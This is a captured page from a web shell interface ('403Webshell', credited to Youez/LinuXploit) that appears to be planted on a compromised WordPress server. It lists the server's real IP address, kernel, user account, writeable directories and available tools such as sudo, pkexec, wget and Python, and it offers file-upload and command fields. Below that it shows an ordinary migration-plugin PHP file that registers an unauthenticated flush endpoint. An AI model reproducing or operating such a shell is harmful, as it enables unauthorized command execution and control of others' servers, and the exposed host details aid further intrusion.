403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/successkpi/wp-content/plugins/wpe-site-migration/class/Pro/Migration/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/successkpi/wp-content/plugins/wpe-site-migration/class/Pro/Migration/Flush.php
<?php
namespace DeliciousBrains\WPMDB\Pro\Migration;

use DeliciousBrains\WPMDB\Common\Migration\Flush as Common_Flush;
use DeliciousBrains\WPMDB\Common\MigrationPersistence\Persistence;

/**
 * Pro Migration Flush Handler
 *
 * Extends base flush functionality to support unauthenticated flush endpoints
 * for pull migrations with user tables.
 */
class Flush extends Common_Flush {
	/**
	 * Register Pro-specific flush actions.
	 * Adds the unauthenticated endpoint needed for pull migrations with user tables.
	 */
	public function register() {
		parent::register();
		add_action( 'wp_ajax_nopriv_wpmdb_flush', array( $this, 'ajax_nopriv_flush' ) );
	}

	/**
	 * Handles the request to flush caches and cleanup migration when pulling with user tables being migrated.
	 *
	 * @return void
	 */
	public function ajax_nopriv_flush() {
		Persistence::cleanupStateOptions();

		$this->http->end_ajax( $this->flush() );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit